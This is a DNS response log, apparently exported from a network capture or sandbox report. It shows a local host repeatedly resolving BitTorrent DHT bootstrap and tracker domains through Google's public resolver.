Aug 23, 2023 09:16:18.090374947 CEST	8.8.8.8	192.168.2.3	0xff87	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.090374947 CEST	8.8.8.8	192.168.2.3	0xff87	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.123696089 CEST	8.8.8.8	192.168.2.3	0x19b7	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.166783094 CEST	8.8.8.8	192.168.2.3	0xc38c	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.196407080 CEST	8.8.8.8	192.168.2.3	0x8667	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.215817928 CEST	8.8.8.8	192.168.2.3	0x219c	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.268425941 CEST	8.8.8.8	192.168.2.3	0x9127	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:18.268425941 CEST	8.8.8.8	192.168.2.3	0x9127	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.288623095 CEST	8.8.8.8	192.168.2.3	0xfec6	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:18.288623095 CEST	8.8.8.8	192.168.2.3	0xfec6	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.677285910 CEST	8.8.8.8	192.168.2.3	0x7213	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.677285910 CEST	8.8.8.8	192.168.2.3	0x7213	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.702299118 CEST	8.8.8.8	192.168.2.3	0x8acb	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.702299118 CEST	8.8.8.8	192.168.2.3	0x8acb	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.739907026 CEST	8.8.8.8	192.168.2.3	0x5f6b	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.932158947 CEST	8.8.8.8	192.168.2.3	0x25a4	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.969403982 CEST	8.8.8.8	192.168.2.3	0xe073	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.988701105 CEST	8.8.8.8	192.168.2.3	0x231f	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:19.015841007 CEST	8.8.8.8	192.168.2.3	0xf89f	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:19.015841007 CEST	8.8.8.8	192.168.2.3	0xf89f	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:19.034830093 CEST	8.8.8.8	192.168.2.3	0xceaf	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:19.034830093 CEST	8.8.8.8	192.168.2.3	0xceaf	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:19.063407898 CEST	8.8.8.8	192.168.2.3	0xe4a9	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:19.063407898 CEST	8.8.8.8	192.168.2.3	0xe4a9	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:19.098721027 CEST	8.8.8.8	192.168.2.3	0xd580	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:19.098721027 CEST	8.8.8.8	192.168.2.3	0xd580	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:19.130364895 CEST	8.8.8.8	192.168.2.3	0x2475	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:19.157339096 CEST	8.8.8.8	192.168.2.3	0x2336	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:19.181932926 CEST	8.8.8.8	192.168.2.3	0xa2fb	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:19.201257944 CEST	8.8.8.8	192.168.2.3	0x6aa7	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:19.220912933 CEST	8.8.8.8	192.168.2.3	0x7bdb	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:19.220912933 CEST	8.8.8.8	192.168.2.3	0x7bdb	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:19.253159046 CEST	8.8.8.8	192.168.2.3	0xa57d	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:19.253159046 CEST	8.8.8.8	192.168.2.3	0xa57d	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:20.702140093 CEST	8.8.8.8	192.168.2.3	0x7e	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:20.702140093 CEST	8.8.8.8	192.168.2.3	0x7e	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:20.728765965 CEST	8.8.8.8	192.168.2.3	0x6cdc	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:20.728765965 CEST	8.8.8.8	192.168.2.3	0x6cdc	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:20.768336058 CEST	8.8.8.8	192.168.2.3	0x2046	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:20.805511951 CEST	8.8.8.8	192.168.2.3	0xc466	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:20.836718082 CEST	8.8.8.8	192.168.2.3	0x5687	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:20.855249882 CEST	8.8.8.8	192.168.2.3	0x8a32	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:20.880039930 CEST	8.8.8.8	192.168.2.3	0xa1a8	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:20.880039930 CEST	8.8.8.8	192.168.2.3	0xa1a8	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:20.919703007 CEST	8.8.8.8	192.168.2.3	0xfd89	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:20.919703007 CEST	8.8.8.8	192.168.2.3	0xfd89	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:21.142026901 CEST	8.8.8.8	192.168.2.3	0xaaa2	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:21.142026901 CEST	8.8.8.8	192.168.2.3	0xaaa2	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:21.164105892 CEST	8.8.8.8	192.168.2.3	0x6a9d	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:21.164105892 CEST	8.8.8.8	192.168.2.3	0x6a9d	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:21.194341898 CEST	8.8.8.8	192.168.2.3	0x8615	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:21.218869925 CEST	8.8.8.8	192.168.2.3	0xca9b	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:21.248184919 CEST	8.8.8.8	192.168.2.3	0x912	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:21.277218103 CEST	8.8.8.8	192.168.2.3	0xd93d	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:21.304263115 CEST	8.8.8.8	192.168.2.3	0xdac0	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:21.304263115 CEST	8.8.8.8	192.168.2.3	0xdac0	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:21.331851006 CEST	8.8.8.8	192.168.2.3	0x2df0	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:21.331851006 CEST	8.8.8.8	192.168.2.3	0x2df0	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:22.517132044 CEST	8.8.8.8	192.168.2.3	0xe53b	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:22.517132044 CEST	8.8.8.8	192.168.2.3	0xe53b	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:22.538091898 CEST	8.8.8.8	192.168.2.3	0x62bb	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:22.538091898 CEST	8.8.8.8	192.168.2.3	0x62bb	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:22.558231115 CEST	8.8.8.8	192.168.2.3	0xc018	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:22.575903893 CEST	8.8.8.8	192.168.2.3	0x507a	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:22.603655100 CEST	8.8.8.8	192.168.2.3	0xb4f5	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:22.657569885 CEST	8.8.8.8	192.168.2.3	0xce34	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:22.684712887 CEST	8.8.8.8	192.168.2.3	0xb1e3	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:22.684712887 CEST	8.8.8.8	192.168.2.3	0xb1e3	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:22.708017111 CEST	8.8.8.8	192.168.2.3	0x5942	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:22.708017111 CEST	8.8.8.8	192.168.2.3	0x5942	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:25.266813993 CEST	8.8.8.8	192.168.2.3	0x2343	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:25.266813993 CEST	8.8.8.8	192.168.2.3	0x2343	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:25.362517118 CEST	8.8.8.8	192.168.2.3	0x780c	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:25.362517118 CEST	8.8.8.8	192.168.2.3	0x780c	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:25.430867910 CEST	8.8.8.8	192.168.2.3	0x7822	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:25.466972113 CEST	8.8.8.8	192.168.2.3	0x913f	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:25.530113935 CEST	8.8.8.8	192.168.2.3	0xe227	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:25.560739994 CEST	8.8.8.8	192.168.2.3	0xf54a	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:25.586457014 CEST	8.8.8.8	192.168.2.3	0xca8f	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:25.586457014 CEST	8.8.8.8	192.168.2.3	0xca8f	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:26.017576933 CEST	8.8.8.8	192.168.2.3	0xd8e1	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:26.017576933 CEST	8.8.8.8	192.168.2.3	0xd8e1	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:26.149815083 CEST	8.8.8.8	192.168.2.3	0x9c09	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:26.149815083 CEST	8.8.8.8	192.168.2.3	0x9c09	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:26.363279104 CEST	8.8.8.8	192.168.2.3	0x2b92	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:26.363279104 CEST	8.8.8.8	192.168.2.3	0x2b92	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:26.384341002 CEST	8.8.8.8	192.168.2.3	0x88d8	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:26.455565929 CEST	8.8.8.8	192.168.2.3	0x865e	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:26.985563040 CEST	8.8.8.8	192.168.2.3	0xe743	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:27.190674067 CEST	8.8.8.8	192.168.2.3	0xf5d1	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:27.307141066 CEST	8.8.8.8	192.168.2.3	0x61c0	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:27.307141066 CEST	8.8.8.8	192.168.2.3	0x61c0	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:28.345489025 CEST	8.8.8.8	192.168.2.3	0x709b	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:28.345489025 CEST	8.8.8.8	192.168.2.3	0x709b	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:28.658267021 CEST	8.8.8.8	192.168.2.3	0x8839	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:28.658267021 CEST	8.8.8.8	192.168.2.3	0x8839	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:28.736857891 CEST	8.8.8.8	192.168.2.3	0x130f	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:28.736857891 CEST	8.8.8.8	192.168.2.3	0x130f	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:28.763529062 CEST	8.8.8.8	192.168.2.3	0x804a	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:28.829246044 CEST	8.8.8.8	192.168.2.3	0x14f2	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:28.854235888 CEST	8.8.8.8	192.168.2.3	0x642f	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:28.919661045 CEST	8.8.8.8	192.168.2.3	0x363a	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:28.981091022 CEST	8.8.8.8	192.168.2.3	0x5f55	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:28.981091022 CEST	8.8.8.8	192.168.2.3	0x5f55	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:29.063966036 CEST	8.8.8.8	192.168.2.3	0x70a6	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:29.063966036 CEST	8.8.8.8	192.168.2.3	0x70a6	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:29.913718939 CEST	8.8.8.8	192.168.2.3	0xb311	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:29.913718939 CEST	8.8.8.8	192.168.2.3	0xb311	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.033550024 CEST	8.8.8.8	192.168.2.3	0x9afa	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.033550024 CEST	8.8.8.8	192.168.2.3	0x9afa	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.130779028 CEST	8.8.8.8	192.168.2.3	0xf26b	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.195593119 CEST	8.8.8.8	192.168.2.3	0xe532	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.214539051 CEST	8.8.8.8	192.168.2.3	0x568b	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.248708963 CEST	8.8.8.8	192.168.2.3	0x31a5	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.313031912 CEST	8.8.8.8	192.168.2.3	0x654c	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:30.313031912 CEST	8.8.8.8	192.168.2.3	0x654c	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.354558945 CEST	8.8.8.8	192.168.2.3	0xe81a	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:30.354558945 CEST	8.8.8.8	192.168.2.3	0xe81a	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.425410032 CEST	8.8.8.8	192.168.2.3	0xbf76	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.425410032 CEST	8.8.8.8	192.168.2.3	0xbf76	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.455147982 CEST	8.8.8.8	192.168.2.3	0xc3d0	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.455147982 CEST	8.8.8.8	192.168.2.3	0xc3d0	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.490041018 CEST	8.8.8.8	192.168.2.3	0x81db	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.553358078 CEST	8.8.8.8	192.168.2.3	0x201	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.582853079 CEST	8.8.8.8	192.168.2.3	0x5351	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.612715960 CEST	8.8.8.8	192.168.2.3	0x284e	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.647881031 CEST	8.8.8.8	192.168.2.3	0xd6ae	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:30.647881031 CEST	8.8.8.8	192.168.2.3	0xd6ae	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.676594019 CEST	8.8.8.8	192.168.2.3	0x3a49	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:30.676594019 CEST	8.8.8.8	192.168.2.3	0x3a49	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.219708920 CEST	8.8.8.8	192.168.2.3	0xa180	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.219708920 CEST	8.8.8.8	192.168.2.3	0xa180	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.241949081 CEST	8.8.8.8	192.168.2.3	0x338c	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.241949081 CEST	8.8.8.8	192.168.2.3	0x338c	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.274919987 CEST	8.8.8.8	192.168.2.3	0x38c6	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.310807943 CEST	8.8.8.8	192.168.2.3	0x14c2	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.346162081 CEST	8.8.8.8	192.168.2.3	0x8323	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.374576092 CEST	8.8.8.8	192.168.2.3	0xec08	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.403925896 CEST	8.8.8.8	192.168.2.3	0xa11b	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:31.403925896 CEST	8.8.8.8	192.168.2.3	0xa11b	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.428183079 CEST	8.8.8.8	192.168.2.3	0x8c6b	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:31.428183079 CEST	8.8.8.8	192.168.2.3	0x8c6b	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.680130005 CEST	8.8.8.8	192.168.2.3	0xc283	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.680130005 CEST	8.8.8.8	192.168.2.3	0xc283	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.711570024 CEST	8.8.8.8	192.168.2.3	0x9e6d	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.711570024 CEST	8.8.8.8	192.168.2.3	0x9e6d	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.750322104 CEST	8.8.8.8	192.168.2.3	0x7c29	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.782926083 CEST	8.8.8.8	192.168.2.3	0x9238	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.818542957 CEST	8.8.8.8	192.168.2.3	0xa0cf	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.857693911 CEST	8.8.8.8	192.168.2.3	0x1e23	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.891644001 CEST	8.8.8.8	192.168.2.3	0x8f8e	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:31.891644001 CEST	8.8.8.8	192.168.2.3	0x8f8e	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.914539099 CEST	8.8.8.8	192.168.2.3	0xb301	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:31.914539099 CEST	8.8.8.8	192.168.2.3	0xb301	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:35.419168949 CEST	8.8.8.8	192.168.2.3	0x83eb	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:35.419168949 CEST	8.8.8.8	192.168.2.3	0x83eb	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:35.448128939 CEST	8.8.8.8	192.168.2.3	0xf9ca	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:35.448128939 CEST	8.8.8.8	192.168.2.3	0xf9ca	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:35.471374035 CEST	8.8.8.8	192.168.2.3	0x1ade	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:35.496927023 CEST	8.8.8.8	192.168.2.3	0x975f	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:35.535938978 CEST	8.8.8.8	192.168.2.3	0xf5db	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:35.563306093 CEST	8.8.8.8	192.168.2.3	0x6ef3	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:35.585942030 CEST	8.8.8.8	192.168.2.3	0x65b8	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:35.585942030 CEST	8.8.8.8	192.168.2.3	0x65b8	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:35.619574070 CEST	8.8.8.8	192.168.2.3	0x9e5d	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
